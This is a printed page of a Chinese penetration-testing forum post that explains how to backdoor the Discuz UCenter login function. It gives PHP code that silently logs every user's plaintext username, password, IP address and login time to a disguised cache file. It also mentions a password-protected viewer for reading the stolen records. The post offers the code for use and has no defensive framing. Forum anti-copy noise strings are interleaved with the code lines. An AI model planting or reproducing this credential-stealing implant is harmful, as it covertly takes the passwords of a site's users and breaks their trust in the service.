中国网络渗透测试联盟
标题:
dz1.5记录用户名和密码
[打印本页]
作者:
admin
时间:
2013-2-27 21:40
标题:
dz1.5记录用户名和密码
修改uc_client目录下的client.php 在
: I* k/ K Q6 \4 p L/ }
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
5 |7 _' C( k8 |3 z! b7 _
下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
* t# S* P% d# Q" O* z# t% ^% ?+ _
你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为：falw
8 g/ L: A( t4 D X8 |* G5 u
if(getenv('HTTP_CLIENT_IP')) {
$ v# a0 N1 w: d' Z6 Z
$onlineip = getenv('HTTP_CLIENT_IP');
( X& Z6 S' v5 v/ P
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
+ Z7 x P; U7 s
$onlineip = getenv('HTTP_X_FORWARDED_FOR');
8 \& Q5 j. P0 D* u( U; F+ F
} elseif(getenv('REMOTE_ADDR')) {
6 ]; o, [7 B6 N8 ^0 u& F d
$onlineip = getenv('REMOTE_ADDR');
2 j# K% f; D0 {. ?' |& O& K
} else {
1 c% c) O5 Q) R `
$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
+ i- I8 V1 D' ~; ]: C. S" ]( l" b
}
. Q2 `; D" d6 _% H6 @; R7 R
$showtime=date("Y-m-d H:i:s");
; f5 O6 G: H% p s5 H2 ?
$record="<?exit();?>用户：".$username." 密码：".$password." IP:".$onlineip." Time:".$showtime."\r\n";
; ]5 E3 r0 u- Q+ P0 h: R3 T
$handle=fopen('./data/cache/csslog.php','a+');
0 q& l* V/ |" |7 o) c# J2 S
$write=fwrite($handle,$record);
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2